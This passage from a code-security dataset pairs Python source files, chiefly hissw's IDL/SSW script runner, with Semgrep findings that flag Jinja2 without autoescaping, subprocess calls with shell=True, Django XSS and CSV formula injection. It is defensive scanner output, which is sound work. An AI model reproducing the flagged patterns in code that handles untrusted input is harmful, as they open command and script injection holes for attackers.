Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defusedcsv_4830a9a31a12a595_7d1c1086", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defusedcsv", "finding_type": "security", "severity": "low", "confidence": "low", "message": "Detected the generation of a CSV file using the built-in `csv` module. If user data is used to generate the data in this file, it is possible that an attacker could inject a formula when the CSV is imported into a spreadsheet application that runs an attacker script, which could steal data from the importing user or, at worst, install malware on the user's computer. `defusedcsv` is a drop-in replacement with the same API that will attempt to mitigate formula injection attempts. You can use `defusedcsv` instead of `csv` to safely generate CSVs.", "remediation": "defusedcsv.writer(response)", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 14, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-1236: Improper Neutralization of Formula Elements in a CSV File", "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://github.com/raphaelm/defusedcsv", "title": null}, {"url": "https://owasp.org/www-community/attacks/CSV_Injection", "title": null}, {"url": "https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defusedcsv", "path": "/tmp/tmpb8jm_z1l/4830a9a31a12a595.py", "start": {"line": 10, "col": 14, "offset": 406}, "end": {"line": 10, "col": 34, "offset": 426}, "extra": {"message": "Detected the generation of a CSV file using the built-in `csv` module. If user data is used to generate the data in this file, it is possible that an attacker could inject a formula when the CSV is imported into a spreadsheet application that runs an attacker script, which could steal data from the importing user or, at worst, install malware on the user's computer. `defusedcsv` is a drop-in replacement with the same API that will attempt to mitigate formula injection attempts. You can use `defusedcsv` instead of `csv` to safely generate CSVs.", "fix": "defusedcsv.writer(response)", "metadata": {"cwe": ["CWE-1236: Improper Neutralization of Formula Elements in a CSV File"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/raphaelm/defusedcsv", "https://owasp.org/www-community/attacks/CSV_Injection", "https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities"], "category": "security", "technology": ["python"], "confidence": "LOW", "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW"}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-79"
] | [
"rules.python.django.security.audit.xss.direct-use-of-httpresponse"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
8
] | [
8
] | [
16
] | [
49
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | snippet.py | /all-gists/1418860/snippet.py | gistable/gistable | MIT | |
2024-11-18T19:34:37.555042+00:00 | 1,669,146,016,000 | 89ce2347f47b3d5fd85ba9774a91355bd6af1c7c | 2 | {
"blob_id": "89ce2347f47b3d5fd85ba9774a91355bd6af1c7c",
"branch_name": "refs/heads/main",
"committer_date": 1669146016000,
"content_id": "4984acc3f8eff05966855f8307a380cf27c038ea",
"detected_licenses": [
"MIT"
],
"directory_id": "895a7638653a191d704d4740672a7f6211eb9d1d",
"extension": "py",
"filename": "environment.py",
"fork_events_count": 4,
"gha_created_at": 1485314392000,
"gha_event_created_at": 1669146017000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 79979257,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8367,
"license": "MIT",
"license_type": "permissive",
"path": "/hissw/environment.py",
"provenance": "stack-edu-0054.json.gz:569815",
"repo_name": "wtbarnes/hissw",
"revision_date": 1669146016000,
"revision_id": "328607198bd9923bdc6e92e7ebca9f37950c4e1f",
"snapshot_id": "c1a2a4de3266967a45f927f764200503c872e934",
"src_encoding": "UTF-8",
"star_events_count": 14,
"url": "https://raw.githubusercontent.com/wtbarnes/hissw/328607198bd9923bdc6e92e7ebca9f37950c4e1f/hissw/environment.py",
"visit_date": "2022-12-15T23:48:39.177581"
} | 2.4375 | stackv2 | """
Build SSW scripts from Jinja 2 templates
"""
import os
import datetime
import pathlib
import subprocess
import tempfile
import jinja2
from scipy.io import readsav
from .filters import string_list_filter
from .read_config import defaults
from .util import SSWIDLError, IDLLicenseError
from .filters import *
class Environment(object):
"""
Environment for running SSW and IDL scripts
Parameters
----------
ssw_packages : `list`, optional
List of SSW packages to load, e.g. 'sdo/aia', 'chianti'
ssw_paths : `list`, optional
List of SSW paths to pass to `ssw_path`
extra_paths : `list`, optional
Additional paths to add to the IDL namespace. Note that these
are appended to the front of the path such that they take
precedence over the existing path.
ssw_home : `str`, optional
Root of SSW tree
idl_home : `str`, optional
Path to IDL executable
filters : `dict`, optional
Filters to use in scripts. This should be a dictionary where the key
is the name of the filter and the value is the corresponding
function.
idl_only : `bool`, optional
If True, do not do any setup associated with SSW. This is useful
if your script has no SSW dependence.
header_script : `str` or path-like, optional
Script to run before script passed to ``run`` method. Can use any
of the variables passed to ``run``.
footer_script : `str` or path-like, optional
Script to run after script passed to ``run`` method. Can use any
of the variables passed to ``run``.
"""
def __init__(self, ssw_packages=None, ssw_paths=None, extra_paths=None,
ssw_home=None, idl_home=None, filters=None, idl_only=False,
header=None, footer=None):
self.ssw_packages = ssw_packages if ssw_packages is not None else []
self.ssw_paths = ssw_paths if ssw_paths is not None else []
self.extra_paths = extra_paths if extra_paths is not None else []
self.env = jinja2.Environment(loader=jinja2.PackageLoader('hissw', 'templates'))
self.env.filters['to_unit'] = units_filter
self.env.filters['log10'] = log10_filter
self.env.filters['string_list'] = string_list_filter
self.env.filters['force_double_precision'] = force_double_precision_filter
if filters is not None:
for k, v in filters.items():
self.env.filters[k] = v
self.header = '' if header is None else header
self.footer = '' if footer is None else footer
self._setup_home(ssw_home, idl_home, idl_only=idl_only)
def _setup_home(self, ssw_home, idl_home, idl_only=False):
"""
Setup SSW and IDL home locations
"""
self.ssw_home = defaults.get('ssw_home') if ssw_home is None else ssw_home
if idl_only:
self.ssw_home = None
else:
if self.ssw_home is None:
raise ValueError('ssw_home must be set at instantiation or in the hisswrc file.')
self.idl_home = defaults.get('idl_home') if idl_home is None else idl_home
if self.idl_home is None:
raise ValueError('idl_home must be set at instantiation or in the hisswrc file.')
@property
def executable(self):
"""
Path to executable for running code
"""
if self.ssw_home:
return 'sswidl'
else:
return os.path.join(self.idl_home, 'bin', 'idl')
def render_script(self, script, args):
"""
Render custom IDL scripts from templates and input arguments
"""
if isinstance(script, (str, pathlib.Path)) and os.path.isfile(script):
with open(script, 'r') as f:
script = f.read()
if not isinstance(script, str):
raise ValueError('Input script must either be a string or path to a script.')
return self.env.from_string(script).render(**args)
def custom_script(self, script, args):
"""
Generate the script that will be executed
"""
body = self.render_script(script, args)
header = self.render_script(self.header, args)
footer = self.render_script(self.footer, args)
idl_script = f'{header}\n{body}\n{footer}'
return idl_script
def procedure_script(self, script, save_vars, save_filename):
"""
Render inner procedure file
"""
if save_vars is None:
save_vars = []
params = {'_script': script,
'_save_vars': save_vars,
'_save_filename': save_filename}
return self.env.get_template('procedure.pro').render(**params)
def command_script(self, procedure_filename):
"""
Generate parent IDL script
"""
params = {'ssw_paths': self.ssw_paths,
'extra_paths': self.extra_paths,
'procedure_filename': procedure_filename}
return self.env.get_template('parent.pro').render(**params)
def shell_script(self, command_filename):
"""
Generate shell script for starting up SSWIDL
"""
params = {'executable': self.executable,
'ssw_home': self.ssw_home,
'ssw_packages': self.ssw_packages,
'idl_home': self.idl_home,
'command_filename': command_filename}
return self.env.get_template('startup.sh').render(**params)
def run(self, script, args=None, save_vars=None, verbose=True, **kwargs):
"""
Set up the SSWIDL environment and run the supplied scripts.
Parameters
----------
script : str
Literal script or path to script file
args : dict, optional
Input arguments to script
save_vars : list, optional
Variables to save and return from the IDL namespace
verbose : bool, optional
If True, print STDERR and SDOUT. Otherwise it will be
suppressed. This is useful for debugging.
"""
args = {} if args is None else args
# Expose the ssw_home variable in all scripts by default
args.update({'ssw_home': self.ssw_home})
with tempfile.TemporaryDirectory() as tmpdir:
# Get filenames
fn_template = os.path.join(
tmpdir, '{name}_'+datetime.datetime.now().strftime('%Y%m%d-%H%M%S')+'.{ext}')
save_filename = fn_template.format(name='idl_vars', ext='sav')
procedure_filename = fn_template.format(name='idl_procedure', ext='pro')
command_filename = fn_template.format(name='idl_script', ext='pro')
shell_filename = fn_template.format(name='ssw_shell', ext='sh')
# Render and save scripts
idl_script = self.custom_script(script, args)
with open(procedure_filename, 'w') as f:
f.write(self.procedure_script(idl_script, save_vars, save_filename))
with open(command_filename, 'w') as f:
f.write(self.command_script(procedure_filename))
with open(shell_filename, 'w') as f:
f.write(self.shell_script(command_filename,))
# Execute
subprocess.call(['chmod', 'u+x', shell_filename])
cmd_output = subprocess.run([shell_filename], shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE)
self._check_for_errors(cmd_output, verbose, **kwargs)
results = readsav(save_filename)
return results
def _check_for_errors(self, output, verbose, **kwargs):
"""
Check IDL output to try and decide if an error has occurred
"""
stdout = output.stdout.decode('utf-8')
stderr = output.stderr.decode('utf-8')
# NOTE: For some reason, not only errors are output to stderr so we
# have to check it for certain keywords to see if an error occurred
if kwargs.get('raise_exceptions', True):
if 'execution halted' in stderr.lower():
raise SSWIDLError(stderr)
if 'failed to acquire license' in stderr.lower():
raise IDLLicenseError(stderr)
if verbose:
print(f'{stderr}\n{stdout}')
| 204 | 40.01 | 97 | 19 | 1,833 | python | [{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_ca0fddc699b84e91_af872f12", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 20, "column_end": 89, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 58, "col": 20, "offset": 2065}, "end": {"line": 58, "col": 89, "offset": 2134}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_ca0fddc699b84e91_1ac753f4", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "jinja2.Environment(loader=jinja2.PackageLoader('hissw', 'templates'), autoescape=True)", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 20, "column_end": 89, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 58, "col": 20, "offset": 2065}, "end": {"line": 58, "col": 89, "offset": 2134}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "jinja2.Environment(loader=jinja2.PackageLoader('hissw', 'templates'), autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_6f735b75", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 18, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 99, "col": 18, "offset": 3764}, "end": {"line": 99, "col": 35, "offset": 3781}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_c141e9b3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 175, "line_end": 175, "column_start": 18, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 175, "col": 18, "offset": 6930}, "end": {"line": 175, "col": 47, "offset": 6959}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_035f877a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 177, "line_end": 177, "column_start": 18, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 177, "col": 18, "offset": 7068}, "end": {"line": 177, "col": 45, "offset": 7095}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_a99744dd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 179, "line_end": 179, "column_start": 18, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 179, "col": 18, "offset": 7184}, "end": {"line": 179, "col": 43, "offset": 7209}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_ca0fddc699b84e91_7c40e157", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 182, "line_end": 182, "column_start": 24, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 182, "col": 24, "offset": 7323}, "end": {"line": 182, "col": 28, "offset": 7327}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_ca0fddc699b84e91_fee08c8b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 183, "line_end": 184, "column_start": 26, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 183, "col": 26, "offset": 7387}, "end": {"line": 184, "col": 64, "offset": 7519}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_ca0fddc699b84e91_82de4a37", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 183, "line_end": 183, "column_start": 65, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 183, "col": 65, "offset": 7426}, "end": {"line": 183, "col": 69, "offset": 7430}, "extra": {"message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 9 | true | [
"CWE-79",
"CWE-116",
"CWE-78",
"CWE-78"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2",
"rules.python.jinja2.security.audit.missing-autoescape-disabled",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"MEDIUM",
"MEDIUM",
"HIGH",
"HIGH"
] | [
58,
58,
183,
183
] | [
58,
58,
184,
183
] | [
20,
20,
26,
65
] | [
89,
89,
64,
69
] | [
"A07:2017 - Cross-Site Scripting (XSS)",
"A03:2021 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.",
"Detected a Jinja2 environment witho... | [
5,
5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW",
"HIGH"
] | [
"MEDIUM",
"MEDIUM",
"HIGH",
"LOW"
] | environment.py | /hissw/environment.py | wtbarnes/hissw | MIT | |
2024-11-18T19:34:37.612903+00:00 | 1,625,573,774,000 | 798dfb6381a0d5ba653f52d20b559d6d11a9ecb8 | 3 | {
"blob_id": "798dfb6381a0d5ba653f52d20b559d6d11a9ecb8",
"branch_name": "refs/heads/master",
"committer_date": 1625573774000,
"content_id": "c4e8c3fd0f7118239452679411db41c635295609",
"detected_licenses": [
"MIT"
],
"directory_id": "c822c02381fd78198cbd79fdd729efe83ccf3bde",
"extension": "py",
"filename": "NewsFeedView.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 236575941,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9881,
"license": "MIT",
"license_type": "permissive",
"path": "/server/source/views/NewsFeedView.py",
"provenance": "stack-edu-0054.json.gz:569816",
"repo_name": "Ali-Alhasani/UniSaarApp",
"revision_date": 1625573774000,
"revision_id": "b221cac1bd709d7994e4567e0f18e889d852018f",
"snapshot_id": "3fc238f1fd5a1e1c6c8389320e02330217da50b8",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/Ali-Alhasani/UniSaarApp/b221cac1bd709d7994e4567e0f18e889d852018f/server/source/views/NewsFeedView.py",
"visit_date": "2023-06-14T09:32:33.781608"
} | 2.828125 | stackv2 | import json # to encode items as JSON
from source.models.EventModel import EventModel
from source.models.NewsModel import NewsModel
import jinja2
from icalendar import Calendar, Event
from datetime import datetime
from source.Constants import *
class NewsFeedView:
def __init__(self):
self.loader = jinja2.FileSystemLoader(HTML_TEMPLATE_DIRECTORY)
self.imageLoader = jinja2.FileSystemLoader(IMAGE_ERROR_DIRECTORY)
self.env1 = jinja2.Environment(loader=self.imageLoader)
self.env = jinja2.Environment(loader=self.loader)
self.env1.globals['IMAGE_ERROR_DIRECTORY'] = 'IMAGE_ERROR_DIRECTORY'
self.news_template = self.env.get_template(WEBVIEW_NEWS_TEMPLATE)
